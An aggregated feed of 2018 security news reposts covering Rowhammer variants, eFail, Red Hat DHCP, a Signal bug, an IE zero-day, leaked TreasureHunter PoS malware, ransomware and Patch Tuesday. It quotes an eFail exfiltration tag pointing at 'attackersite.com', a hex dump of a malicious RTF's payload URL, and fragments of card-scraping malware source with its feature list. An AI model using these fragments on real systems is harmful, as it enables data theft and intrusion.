Nethammer—Exploiting DRAM Rowhammer Bug Through Network Requests

Last week, we reported about the first network-based remote Rowhammer attack, dubbed Throwhammer, which involves the exploitation a known vulnerability in DRAM through network cards using remote direct memory access (RDMA) channels.

However, a separate team of security researchers has now demonstrated a second network-based remote Rowhammer technique that can be used to attack systems using uncached memory or flush instruction while processing the network requests.

The research was carried out by researchers who discovered Meltdown and Spectre CPU vulnerabilities, which is independent of the Amsterdam researchers who presented a series of Rowhammer attacks, including Throwhammer published last week.

If you are unaware, Rowhammer is a critical issue with recent generation dynamic random access memory (DRAM) chips in which repeatedly accessing a row of memory can cause “bit flipping” in an adjacent row, allowing attackers to change the contents of the memory.

The issue has since been exploited in a number of ways to escalate an attacker’s privilege to kernel level and achieve remote code execution on the vulnerable systems, but the attacker needed access to the victim’s machine.

However, the new Rowhammer attack technique, dubbed Nethammer, can be used to execute arbitrary code on the targeted system by rapidly writing and rewriting memory used for packet processing, which would be possible only with a fast network connection between the attacker and victim.

This causes a high number of memory accesses to the same set of memory locations, which eventually induces disturbance errors in DRAM and causes memory corruption by unintentionally flipping the DRAM bit-value.

The resulting data corruption can then be manipulated by the attacker to gain control over the victim’s system.

“To mount a Rowhammer attack, memory accesses need to be directly served by the main memory. Thus, an attacker needs to make sure that the data is not stored in the cache,” the researcher paper [PDF] reads.

Since caching makes an attack difficult, the researchers developed ways that allowed them to bypass the cache and attack directly into the DRAM to cause the row conflicts in the memory cells required for the Rowhammer attack.

Researchers tested Nethammer for the three cache-bypass techniques:

  • A kernel driver that flushes (and reloads) an address whenever a packet is received.
  • Intel Xeon CPUs with Intel CAT for fast cache eviction
  • Uncached memory on an ARM-based mobile device.

All three scenarios are possible, researchers showed.

In their experimental setup, researchers were successfully able to induce a bit flip every 350 ms by sending a stream of UDP packets with up to 500 Mbit/s to the target system.

Since the Nethammer attack technique does not require any attack code in contrast to a regular Rowhammer attack, for example, no attacker-controlled code on the system, most countermeasures do not prevent this attack.

Since Rowhammer exploits a computer hardware weakness, no software patch can completely fix the issue. Researchers believe the Rowhammer threat is not only real but also has potential to cause real, severe damage.

For more in-depth details on the new attack technique, you can head on to this paper, titled “Nethammer: Inducing Rowhammer Faults through Network Requests,” published by the researchers earlier this week.

Go to Source

Red Hat Linux DHCP Client Found Vulnerable to Command Injection Attacks

A Google security researcher has discovered a critical remote command injection vulnerability in the DHCP client implementation of Red Hat Linux and its derivatives like Fedora operating system.

The vulnerability, tracked as CVE-2018-1111, could allow attackers to execute arbitrary commands with root privileges on targeted systems.

Whenever your system joins a network, it’s the DHCP client application which allows your system to automatically receive network configuration parameters, such as an IP address and DNS servers, from the DHCP (Dynamic Host Control Protocol) server.

The vulnerability resides in the NetworkManager integration script included in the DHCP client packages which is configured to obtain network configuration using the DHCP protocol.

Felix Wilhelm from the Google security team found that attackers with a malicious DHCP server, or connected to the same network as the victim, can exploit this flaw by spoofing DHCP responses, eventually allowing them to run arbitrary commands with root privileges on the victim’s system running vulnerable DHCP client.

Although full details of the vulnerability have not been released, Wilhelm claims his PoC exploit code is so short in length that it even can fit in a tweet.

Meanwhile, Barkın Kılıç, a security researcher from Turkey, has released a tweetable proof-of-concept exploit code for the Red Hat Linux DHCP client vulnerability on Twitter.

redhat-dhcp-exploit

In its security advisory, Red Hat has confirmed that the vulnerability impacts Red Hat Enterprise Linux 6 and 7, and that all of its customers running affection versions of the dhclient package should update their packages to the newer versions as soon as they are available.

“Users have the option to remove or disable the vulnerable script, but this will prevent certain configuration parameters provided by the DHCP server from being configured on a local system, such as addresses of the local NTP or NIS servers,” Red Hat warns.

Fedora has also released new versions of DHCP packages containing fixes for Fedora 26, 27, and 28.

Other popular Linux distributions like OpenSUSE and Ubuntu do not appear to be impacted by the vulnerability, as their DHCP client implementation doesn’t have NetworkManager integration script by default.

Go to Source

Here’s How eFail Attack Against PGP and S/MIME Encrypted Emails Works

With a heavy heart, security researchers have early released the details of a set of vulnerabilities discovered in email clients for two widely used email encryption standards—PGP and S/MIME—after someone leaked their paper on the Internet, which was actually scheduled for tomorrow.

PGP and S/MIME are popular end-to-end encryption standards used to encrypt emails in a way that no one, not even the company, government, or cyber criminals, can spy on your communication.

Before explaining how the vulnerability works, it should be noted that the flaw doesn’t reside in the email encryption standards itself; instead, it affects a few email clients/plugins that incorrectly implemented the technologies.

Dubbed eFail by the researchers, the vulnerabilities, as described in our previous early-warning article, could allow potential attackers to decrypt the content of your end-to-end encrypted emails in plaintext, even for messages sent in the past.

According to the paper released by a team of European security researchers, the vulnerabilities exist in the way encrypted email clients handle HTML emails and external resources, like loading of images, styles from external URLs.

Here’s How the eFail Attack Works:

pgp-encrypted-email

Email clients are usually configured to automatically decrypt the content of encrypted emails you receive, but if your client is also configured to load external resources automatically, attackers can abuse this behavior to steal messages in plaintext just by sending you a modified version of the same encrypted email content.

The attack vector requires injected plaintext into the encrypted mail, and then using the exploit, it will exfiltrate the originally encrypted data as soon as any recipient’s mail client accesses (or decrypts) the message

It should be noted that to perform an eFail attack, an attacker must have access to your encrypted emails, which is then modified in the following way and send back to you in order to trick your email client into revealing the secret message to the remote attacker without alerting you.

As described in the proof-of-concept attack released by the researchers, the attacker uses one of the encrypted messages you are supposed to receive or might have already received and then turns it into a multipart HTML email message, as well as forges the return address, so it appears to come from the original sender.

In the newly composed email, the attacker adds an unclosed image tag, like this <img src=”https://attackersite.com/ just before the encrypted content and ends it by adding the end of the image tag, like this: .jpg”>, as clearly shown in the screenshot.

When your vulnerable email client receives this message, it decrypts the encrypted part of the message given in the middle, and then automatically tries to render the HTML content, i.e., the image tag with all the decrypted text as the new name of the image, as shown below.

pgp-smime-email-encryption

Since your email client will try to load the image from the attacker-controlled server, the attacker can capture this incoming request, where the filename contains the full content of the original encrypted email in plaintext.

Although PGP has been designed to show you a warning note if the integrity of your email is compromised, a few email clients do not display these warnings, allowing any potential attackers to perform eFail attacks successfully.

How To Prevent Against eFail Attacks

email-hacking

Generally, it is a very tough job for an advisory to even intercept your encrypted emails, but for people desperately using email encryption always attract well-resourced and sophisticated attackers.

Ditching the use of PGP or S/MIME to prevent eFail attacks would be stupid advice, as it is quite easy to mitigate the reported issues.

Users can switch to a good email client that always shows a warning when the integrity of the emails is compromised and doesn’t render HTML emails by default to prevent loading of external resources automatically.

Researchers also advise users to adopt an authenticated encryption algorithm for sensitive communication.

The research was conducted by a team of researchers, including Damian Poddebniak, Christian Dresen, Fabian Ising, and Sebastian Schinzel from Munster University of Applied Sciences; Jens Müller, Juraj Somorovsky, and Jörg Schwenk from Ruhr University Bochum; and Simon Friedberger from KU Leuven.

For more in-depth details on the attack technique, you can head on to this informational page about the eFail attack and the paper [PDF] titled, “Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels,” published by the researchers.

Go to Source

Severe Bug Discovered in Signal Messaging App for Windows and Linux

Security researchers have discovered a severe vulnerability in the popular end-to-end encrypted Signal messaging app for Windows and Linux desktops which could allow remote attackers to execute malicious code on recipients system just by sending a message—without requiring any user interaction.

Discovered by Alfredo Ortega, a software security consultant from Argentina, the vulnerability was announcedon Twitter just a few hours ago with a proof-of-concept video, demonstrating how a javascript payload sent over Signal for desktop app successfully got executed on the recipient’s system.

Although technical details of the vulnerability have not been revealed as of now, the issue appears to be a remote code execution vulnerability in Signal or at least something very close to persistent cross-site scripting (XSS) which eventually could allow attackers to inject malicious code onto targeted Windows and Linux systems.

“For the time being, we can only confirm the execution of javascript code. However we are tracking a heap corruption issue, and it’s very likely than the javascript execution could lead to native code execution with additional research.” Ortega told The Hacker News.

Ortega also confirms us that the exploitation of this issue requires chaining a couple of vulnerabilities found by two other security researchers from Argentina, Ivan and Juliano.

“I can confirm that this bug did not exist before and was last introduced because the devs forgot why there was a regex there to begin with. I would like to recommend a comment to this comment if it is not repeated again (TBD),” Ivan said.

At this moment, it is not clear if the primary vulnerability or other chained bugs reside only in the source code of Signal or also in the popular Electron web application framework, the technology on which Signal desktop applications are based.

If the flaw resides in the Electron framework, it might also impact other widely-used desktop applications as well, including Skype, WordPress, and Slack, which also use the same framework.

Moreover, the infosec community is also worried that if this flaw allows remote attackers to steal their secret encryption keys, it would be the worst nightmare for Signal users.

The good news is that the Open Whisper Systems has already addressed the issue and immediately released new versions of Signal app within a few hours after receiving the responsible vulnerability disclosure by the researcher.

The primary vulnerability that triggers the code execution has been patched in Signal stable release version 1.10.1 and pre-release version 1.11.0-beta.3. So, users are advised to update their Signal for desktop applications as soon as possible.

“At this time we are not sure they all [the vulnerabilities chained together] have been fixed” Ortega told The Hacker News.

The latest release also patched a recently disclosed vulnerability in Signal for desktop apps which was exposing disappearing messages in a user-readable database of macOS’s Notification Center, even if they are deleted from the app.

Go to Source

Internet Explorer zero-day: browser is once again under attack

In late April, two security companies (Qihoo360 and Kaspersky) independently discovered a zero-day for Internet Explorer (CVE-2018-8174), which was used in targeted attacks for espionage purposes. This marks two years since a zero-day has been found (CVE-2016-0189 being the latest one) in the browser that won’t die, despite efforts from Microsoft to move on to the more modern Edge.

The vulnerability exists in the VBScript engine and how it handles memory objects. It will also affect IE11 even though VBScript is no longer supported by using the compatibility tag for IE10.

The attack came via a Word document making use of OLE autolink objects to retrieve the exploit and shellcode from a remote server. However, it is important to note that it could very well have been executed by visiting a website instead.

Perhaps one of the reasons why it was not used as a drive-by download attack may be related to the targets running another browser as their default (i.e. Chrome) where the exploitation would never occur. However, by tricking their victims to open an Office document, the attackers can force Internet Explorer to load, thanks in part to the URL moniker “feature.”

Using rtfdump.py, we see the call for an HTTP connection:

python rtfdump.py -s 320 -H CVE-2018-8174.rtf

000014C0: 70 B2 86 8C 53 30 05 43 00 38 30 01 18 68 00 74 p���S0.C.80..h.t
000014D0: 00 74 00 70 00 3A 00 2F 00 2F 00 61 00 75 00 74 .t.p.:././.a.u.t
000014E0: 00 6F 00 73 00 6F 00 75 00 6E 00 64 00 63 00 68 .o.s.o.u.n.d.c.h
000014F0: 00 65 00 63 00 6B 00 65 00 72 00 73 00 2E 00 63 .e.c.k.e.r.s...c
00001500: 00 6F 00 6D 00 2F 00 73 00 32 00 2F 00 73 00 65 .o.m./.s.2./.s.e
00001510: 00 61 00 72 00 63 00 68 00 2E 00 70 00 68 00 70 .a.r.c.h...p.h.p
00001520: 00 3F 00 77 00 68 00 6F 00 3D 00 37 00 00 00 00 .?.w.h.o.=.7....

This remote request will download a VBS script. A Proof of Concept adapted from the blog that was published by Kaspersky can be seen below:

The flaw abused by this vulnerability relates to a reference count that is checked at the beginning of the function but not after, despite the chance of it being incremented along the way. This allows an attacker to execute malicious shellcode and eventually load the malware binary of his choice.

We tested this Use After Free (UAF) vulnerability with the publicly available PoC running Internet Explorer 11 under Windows 10. The browser crashes once it loads the VBS code, but with Malwarebytes, the attack vector is mitigated:

Microsoft has released a patch for this vulnerability, and we strongly advise to apply it, as it is just a matter of time before other threat actors start leveraging this new opportunity in spam or exploit kit campaigns.

We will update this blog if we obtain more information about this vulnerability being used widely, and in particular, if a full working exploit is available.

The post Internet Explorer zero-day: browser is once again under attack appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

TreasureHunter Point-of-Sale Malware and Builder Source Code Leaked

The source code for a longstanding point-of-sale (PoS) malware family called TreasureHunter has been leaked on a top-tier Russian-speaking forum. Compounding the issue is the coinciding leak by the same actor of the source code for the malware’s graphical user interface builder and administrator panel.

The availability of both code bases lowers the barrier for entry for cybercriminals wishing to capitalize on the leaks to build their own variants of the PoS malware.

Point-of-sale malware has been at the root of many breaches, including massive thefts at retailers Target in 2013 and Home Depot in 2014; in each case attackers were able to extract more than 100 million payment card and customer records from point-of-sale terminals by scraping card data before it was encrypted and sent to the payment processor. Both retail giants paid tens of millions of dollars in settlements, and in Target’s case, its chief executive officer resigned his position.

Industry Collaboration on Detection and Prevention

TreasureHunter has been known and investigated since 2014, but until now investigators have had to reverse-engineer its code in order to analyze it. Now with the full code available, analysts have previously unseen insight into the malware’s operation. Flashpoint analysts, who discovered the source code leak in March, proactively collaborated with researchers at Cisco Talos, who reviewed and improved protections, and advanced-detection mechanisms, in an effort to disrupt potential copycats who may have their hands on the source code.

In the meantime, Russian-speaking cybercriminals have been observed on the vetted underground discussing improvements and weaponization of the leaked TreasureHunter source code. Notably, the original developer appears to be a Russian speaker who is proficient in English. Originally, this malware appears to have been developed for the notorious underground shop dump seller “BearsInc,” who maintained presence on various low-tier and mid-tier hacking and carding communities (below is a graphical representation of such an operation on the Deep & Dark Web). It’s unknown why the source code was leaked at this time.

A graphical representation of a typical cybercrime dump shop ecosystem.

Image 1: A graphical representation of a typical cybercrime dump shop ecosystem.

One Leak Can Spawn Many Variants

TreasureHunter behaves like many other point-of-sale malware samples. Once an attacker has access to a Windows-based server and the point-of-sale terminal, the malware is installed and it establishes persistence by creating a registry key that runs the malware at startup. It then enumerates running processes, and scans device memory looking for track data, including primary account numbers (PANs), separators, service codes, and more. It then establishes a connection with the attacker’s command and control server and sends the stolen data to the criminal.

The leak of the builder adds another dimension to the availability of the TreasureHunter payload and configurations. In the past, malware source code leaks such as the Zeus banking Trojan have spawned numerous variants, including Citadel, which cost organizations hundreds of millions in losses. PoS malware leaks have had similar effects, most notably with the 2015 leak of the Alina malware which led to the creation of the ProPoS and Katrina variants. The actor behind the TreasureHunter leak said:

“Besides alina, vskimmer and other sniffers, Treasure Hunter still sniffs ( not at a very high rate, but it still does ) and besides that , since now you have the source code, it can be update anytime for your own needs.”

For researchers, the availability of the source code opens the door into new avenues of analysis and proactive visibility into such activity on the underground. This affords organizations such as Flashpoint the ability to collaborate with others in the industry such as Cisco Talos in this case to improve existing protections and force attackers back to the drawing board.

Source-Code Level Insight

The code project appears to be called internally trhutt34C, and was written in pure C with no C++ features. It was compiled originally in Visual Studio 2013 on Windows XP. Based on analysis, researchers believe the developer intended to improve and redesign various features including anti-debugging, code structure improvement, and gate communication logic. With the goal of additional features to be improved, the developer hoped frustrate malware analysis and subsequent research; the actor left behind a note that said: “We want the malware researchers screamin’!”

A snapshot of the TreasureHunter source code.

Image 2: A snapshot of the TreasureHunter source code.

The unfinished project included continued improvement code snippets, below:

  • TO DO for the next version of the client (0.2 Beta):
    • Replace all Unicode versions of functions with ANSI versions. Now why did I ever go for wide-char in the first place?..
  • Improve the code structure:
    • Replace all the if – else constructs that are rendered needless by return commands;
    • Organize the includes;
    • Give the code proper commenting so that I am able to modify and improve it after not having seen it for some time (if such a thing happens).
    • Make scan exceptions and service codes configurable.
    • Add the following commands to the gate communication logic:
    • Download and execute for updating;
    • Remote CMD command execution;
    • Remote self-removal for emergency cases.
    • Add anti-debugging:
      • Use self-debugging by creating a child process (may be improved later by reversing the tables);
      • Improve the MD5 function and use it to find debuggers by signatures (maybe to be added in future versions);
      • Use GetTickCount to detect parts of code being stepped through (maybe to be added in a “heuristical” joint algorithm with the abovementioned);
      • Upon finding a debugger, destroy the critical section and/or start creating new threads infinitely until the application crashes.
      • Maybe also kill processes and delete debuggers and/or decompilers permanently. We want the malware researchers screamin’!
  • Add better persistency and timeouts to gate communication.
  • Add local saving of data if the gate can’t be reached for a certain period of time.
  • Add the option to run the program as a service on Windows XP.
  • Improve the code structure and add comments to avoid future confusion.
  • Add error handling and backup restart in case of crash or heap overflow (malloc fail).
  • Improve the Clingfish system (so that a clingfish thread doesn’t do the same thing as the main thread right after being spawned).
  • Debug the system information extraction mechanism further (on different OS versions).
  • Improve the track-finding algorithm to make it faster.

The stolen dump structure is as follows. The structure contains the following key elements used to collect and operate with stolen dumps, such as unique machine information and where scraped data is from:

typedef struct dumpsHolder {
TCHAR *lpFileName;
int lpFileNameLength;
int procID;
char *trackArr;
int trackArrLength;
} dumpsHolder;

The credit card process scan works in exception mode:

char *scanExceptions[SCANEXCEPTIONSNUM] = {“System32”, “SysWOW64”, “\Windows\explorer.exe”};

The malware focuses on scraping credit card track data, focusing on the following service codes:

char *serviceCodes[SERVICECODESNUM] = {“101”, “201”, “121”, “231”, “221”, “110”};

Registry persistence for autostart in HKLMMicrosoftWindowsCurrentVersionRun runs as “jucheck.”

A registry key created by the malware for persistence

Image 3: A registry key created by the malware for persistence.

The source code is consistent with the various samples that have been seen in the wild over the last few years. TreasureHunterconfig.h shows definite signs of modification over the lifespan of the malware. Early samples filled all of the configurable fields with FIELDNAME_PLACEHOLDER to be overwritten by the builder. More recent samples, and the source code, instead writes useful config values directly into the fields. This makes the samples slightly smaller and uses fresh compiles to create reconfigured files.

The post TreasureHunter Point-of-Sale Malware and Builder Source Code Leaked appeared first on Flashpoint.

Go to Source
Author: Flashpoint

Microsoft Patch Tuesday – May 2018

Today, Microsoft has released its monthly set of security advisories for vulnerabilities that have been identified and addressed in various products. This month’s advisory release addresses 67 new vulnerabilities, with 21 of them rated critical, 42 of them rated important, and four rated as low severity. These vulnerabilities impact Outlook, Office, Exchange, Edge, Internet Explorer and more.
In addition to the 67 vulnerabilities referenced above, Microsoft has also released a critical update advisory, ADV180008, which addresses the vulnerability CVE-2018-4944 described in the Adobe security bulletin APSB18-16.

Critical Vulnerabilities

This month, Microsoft is addressing 21 vulnerabilities that are rated as critical. Talos believes one of these is notable and requires prompt attention.
CVE-2018-8174 – Windows VBScript Engine Remote Code Execution Vulnerability.
A remote code execution vulnerability exists in the VBScript scripting engine (vbscript.dll) of Windows. This vulnerability allows an attacker to include malicious VBScript within a website or embedded within an Office file, which when executed allows an attacker to execute arbitrary code in the context of the current user. Threat actors are currently exploiting this vulnerability.
Other vulnerabilities rated as critical are listed below:
CVE-2018-0959 – Hyper-V Remote Code Execution Vulnerability
CVE-2018-0961 – Hyper-V vSMB Remote Code Execution Vulnerability
CVE-2018-8115 – Windows Host Compute Service Shim Remote Code Execution Vulnerability
CVE-2018-8178 – Microsoft Browser Memory Corruption Vulnerability
CVE-2018-0946 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0951 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0953 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0954 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0955 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-8114 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-8122 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-8137 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0945 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-1022 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-8139 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-8128 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-8133 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-0943 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-8130 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-8177 – Chakra Scripting Engine Memory Corruption Vulnerability

Important Vulnerabilities

This month, Microsoft is addressing 42 vulnerabilities that are rated important.
CVE-2018-8120 – Win32k Elevation of Privilege Vulnerability
CVE-2018-8123 – Microsoft Edge Memory Corruption Vulnerability
CVE-2018-8124 – Win32k Elevation of Privilege Vulnerability
CVE-2018-8147 – Microsoft Excel Remote Code Execution Vulnerability
CVE-2018-8148 – Microsoft Excel Remote Code Execution Vulnerability
CVE-2018-8157 – Microsoft Office Remote Code Execution Vulnerability
CVE-2018-8158 – Microsoft Office Remote Code Execution Vulnerability
CVE-2018-8161 – Microsoft Office Remote Code Execution Vulnerability
CVE-2018-8162 – Microsoft Excel Remote Code Execution Vulnerability
CVE-2018-8164 – Win32k Elevation of Privilege Vulnerability
CVE-2018-8165 – DirectX Graphics Kernel Elevation of Privilege Vulnerability
CVE-2018-8166 – Win32k Elevation of Privilege Vulnerability
CVE-2018-8167 – Windows Common Log File System Driver Elevation of Privilege Vulnerability
CVE-2018-8179 – Microsoft Edge Memory Corruption Vulnerability
CVE-2018-0765 – .NET and .NET Core Denial of Service Vulnerability
CVE-2018-0824 – Microsoft COM for Windows Remote Code Execution Vulnerability
CVE-2018-0854 – Windows Security Feature Bypass Vulnerability
CVE-2018-0958 – Windows Security Feature Bypass Vulnerability
CVE-2018-1021 – Microsoft Edge Information Disclosure Vulnerability
CVE-2018-1025 – Microsoft Browser Information Disclosure Vulnerability
CVE-2018-1039 – .NET Framework Device Guard Security Feature Bypass Vulnerability
CVE-2018-8112 – Microsoft Edge Security Feature Bypass Vulnerability
CVE-2018-8119 – Azure IoT SDK Spoofing Vulnerability
CVE-2018-8126 – Internet Explorer Security Feature Bypass Vulnerability
CVE-2018-8127 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-8129 – Windows Security Feature Bypass Vulnerability
CVE-2018-8132 – Windows Security Feature Bypass Vulnerability
CVE-2018-8134 – Windows Elevation of Privilege Vulnerability
CVE-2018-8141 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-8145 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-8149 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-8150 – Microsoft Outlook Security Feature Bypass Vulnerability
CVE-2018-8151 – Microsoft Exchange Memory Corruption Vulnerability
CVE-2018-8152 – Microsoft Exchange Server Elevation of Privilege Vulnerability
CVE-2018-8155 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-8156 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-8159 – Microsoft Exchange Elevation of Privilege Vulnerability
CVE-2018-8160 – Microsoft Outlook Information Disclosure Vulnerability
CVE-2018-8163 – Microsoft Excel Information Disclosure Vulnerability
CVE-2018-8170 – Windows Image Elevation of Privilege Vulnerability
CVE-2018-8173 – Microsoft InfoPath Remote Code Execution Vulnerability
CVE-2018-8897 – Windows Kernel Elevation of Privilege Vulnerability

Go to Source
Author: Talos Group

SynAck ransomware: The doppelgängster

Malware tends to evolve, with crooks adding new functions and techniques to help it avoid detection by antivirus programs. Sometimes, the evolution is rather rapid. For example, SynAck ransomware, which has been known since September 2017 (when it was just average, not particularly clever), has recently been overhauled to become a very sophisticated threat that avoids detection with unprecedented effectiveness and uses a new technique called Process Doppelgänging.

 

Sneak attack

Malware creators commonly use obfuscation — attempts to make the code unreadable so that antiviruses will not recognize the malware — typically employing special packaging software for that purpose. However, antivirus developers caught on, and now antivirus software effortlessly unpacks such packages. The developers behind SynAck chose another way that requires more effort on both sides: thoroughly obfuscating the code before compiling it, making detection significantly harder for security solutions.

That’s not the only evasion technique the new version of SynAck uses. It also employs a rather complicated Process Doppelgänging technique — and it is the first ransomware seen in the wild to do so. Process Doppelgänging was first presented at Black Hat 2017 by security researchers, after which it was picked up by malefactors and used in several malware species.

Process Doppelgänging relies on some features of the NTFS file system and a legacy Windows process loader that exists in all Windows versions since Windows XP, letting developers create fileless malware that can pass off malicious actions as harmless, legitimate processes. The technique is complicated; to read more about it, see Securelist’s more detailed post on the topic.

SynAck has two more noteworthy features. First, it checks if it’s installed in the right directory. If it’s not, it doesn’t run — that’s an attempt to avoid detection by the automatic sandboxes various security solutions use. Second, SynAck checks if it’s installed on a computer with a keyboard set to a certain script — in this case, Cyrillic — in which case it also does nothing. That’s a common technique for restricting malware to specific regions.

 

The usual crime

From the user’s perspective, SynAck is just more ransomware, notable mainly for its steep demand: $3,000. Before encrypting a user’s files, SynAck ensures it has access to its important file targets by killing some processes that would otherwise keep the files in use and off limits.

The victim sees the ransom note, including contact instructions, on the logon screen. Unfortunately, SynAck uses a strong encryption algorithm, and no flaws have been found in its implementation, so there is no way yet to decrypt the encrypted files.

We have seen SynAck distributed mostly by Remote Desktop Protocol brute force, which means it’s mostly targeted at business users. The limited number of attacks thus far — all of them in the USA, Kuwait, and Iran — bears out this hypothesis.

 

Getting ready for the next generation of ransomware

Even if SynAck is not coming for you, its existence is a clear sign that ransomware is evolving, becoming more and more sophisticated and harder to protect against. Decryptor utilities will appear less frequently as attackers learn to avoid the mistakes that made the creation of those decryptors possible. And despite ceding ground to hidden miners (just as we predicted), ransomware is still a big global trend, and knowing how to protect against all such threats is a must for every Internet user.

Go to Source
Author: Alex Perekalin

GLitch: New ‘Rowhammer’ Attack Can Remotely Hijack Android Phones

For the very first time, security researchers have discovered an effective way to exploit a four-year-old hacking technique called Rowhammer to hijack an Android phone remotely.

Dubbed GLitch, the proof-of-concept technique is a new addition to the Rowhammer attack series which leverages embedded graphics processing units (GPUs) to carry out a Rowhammer attack against Android smartphones.

Rowhammer is a problem with recent generation dynamic random access memory (DRAM) chips in which repeatedly accessing a row of memory can cause “bit flipping” in an adjacent row, allowing anyone to change the value of contents stored in computer memory.

Known since at least 2012, the issue was first exploited by Google’s Project Zero researchers in early 2015, when they pulled off remote Rowhammer attacks on computers running Windows and Linux.

Last year, a team of researchers in the VUSec Lab at Vrije Universiteit Amsterdam demonstrated that the Rowhammer technique could also work on Android smartphones, but with a major limitation of a malicious application being first installed on the target phone.

However, the same team of researchers has now shown how their proof-of-concept attack “GLitch,” can exploit the Rowhammer attack technique simply by hosting a website running malicious JavaScript code to remotely hack an Android smartphone under just 2 minutes, without relying on any software bug.

Since the malicious code runs only within the privileges of the web browser, it can spy on user’s browsing pattern or steal their credentials. However, the attacker cannot gain further access to user’s Android phone.

Here’s How GLitch Attack Works

GLitch is the first remote Rowhammer technique that exploits the graphics processing units (GPU), which is found in almost all mobile processors, instead of the CPU that was exploited in all previous theorized versions of the Rowhammer attack.

Since the ARM processors inside Android smartphones include a type of cache that makes it difficult to access targeted rows of memory, researchers make use of GPU, whose cache can be more easily controlled, allowing hackers to hammer targeted rows without any interference.

The technique is named GLitch with first two letters capitalized because it uses a widely used browser-based graphics code library known as WebGL for rendering graphics to trigger a known glitch in DDR3 and DDR4 memory chips.

Currently, GLitch targets smartphones running the Snapdragon 800 and 801 system on a chip—that includes both CPU and GPU—meaning the PoC works only on older Android phones like the LG Nexus 5, HTC One M8, or LG G2. The attack can be launched against Firefox and Chrome.

In a video demonstration, the researchers show their JavaScript-based GLitch attack on a Nexus 5 running over Mozilla’s Firefox browser to gain read/write privileges, giving them the ability to execute malicious code over the software.

“If you’re wondering if we can trigger bit flips on Chrome the answer is yes, we can. As a matter of fact, most of our research was carried out on Chrome,” the researchers said. “We then switched to Firefox for the exploit just because we had prior knowledge of the platform and found more documentation.”

 

No Software Patch Can Fully Fix the Rowhammer Issue

Since Rowhammer exploits a computer hardware weakness, no software patch can completely fix the issue. Researchers say the Rowhammer threat is not only real but also has the potential to cause some real, severe damage.

Although there’s no way to fully block an Android phone’s GPU from tampering with the DRAM, the team has been working with Google on ways to solve the problem.

For more in-depth details on the new attack technique, you can head on to this informational page about GLitch and this paper [PDF] published by the researchers.

Go to Source

Twitter to All Users: Change Your Password Now!

Twitter just asked all 300+ million users to reset their passwords, citing the exposure of user passwords via a bug that stored passwords in plain text — without protecting them with any sort of encryption technology that would mask a Twitter user’s true password. The social media giant says it has fixed the bug and that so far its investigation hasn’t turned up any signs of a breach or that anyone misused the information. But if you have a Twitter account, please change your account password now.

Or if you don’t trust links in blogs like this (I get it) go to Twitter.com and change it from there. And then come back and read the rest of this. We’ll wait.

In a post to its company blog this afternoon, Twitter CTO Parag Agrawal wrote:

“When you set a password for your Twitter account, we use technology that masks it so no one at the company can see it. We recently identified a bug that stored passwords unmasked in an internal log. We have fixed the bug, and our investigation shows no indication of breach or misuse by anyone.

A message posted this afternoon (and still present as a pop-up) warns all users to change their passwords.

“Out of an abundance of caution, we ask that you consider changing your password on all services where you’ve used this password. You can change your Twitter password anytime by going to the password settings page.”

Agrawal explains that Twitter normally masks user passwords through a state-of-the-art encryption technology called “bcrypt,” which replaces the user’s password with a random set of numbers and letters that are stored in Twitter’s system.

“This allows our systems to validate your account credentials without revealing your password,” said Agrawal, who says the technology they’re using to mask user passwords is the industry standard.

“Due to a bug, passwords were written to an internal log before completing the hashing process,” he continued. “We found this error ourselves, removed the passwords, and are implementing plans to prevent this bug from happening again.”

Agrawal wrote that while Twitter has no reason to believe password information ever left Twitter’s systems or was misused by anyone, the company is still urging all Twitter users to reset their passwords NOW.

A letter to all Twitter users posted by Twitter CTO Parag Agrawal

Twitter advises:
-Change your password on Twitter and on any other service where you may have used the same password.
-Use a strong password that you don’t reuse on other websites.
-Enable login verification, also known as two factor authentication. This is the single best action you can take to increase your account security.
-Use a password manager to make sure you’re using strong, unique passwords everywhere.

This may be much ado about nothing disclosed out of an abundance of caution, or further investigation may reveal different findings. It doesn’t matter for right now: If you’re a Twitter user and if you didn’t take my advice to go change your password yet, go do it now! That is, if you can.

Twitter.com seems responsive now, but just for a while Thursday afternoon Twitter has problems displaying many Twitter profiles, or even its homepage. Just a few moments ago, I tried to visit the Twitter CTO’s profile page and got this (ditto for Twitter.com):

What KrebsOnSecurity and other Twitter users got when we tried to visit twitter.com and the Twitter CTO’s profile page late in the afternoon ET on May 3, 2018.

If for some reason you can’t reach Twitter.com, try again soon. Put it on your to-do list or calendar for an hour from now. Seriously, do it now or very soon.

And please don’t use a password that you have used for any other account you use online, either in the past or in the present. A non-comprehensive list (note to self) of some password tips are here.

I have some more specific questions about this incident sent in to Twitter already. More updates as available.

Go to Source
Author: BrianKrebs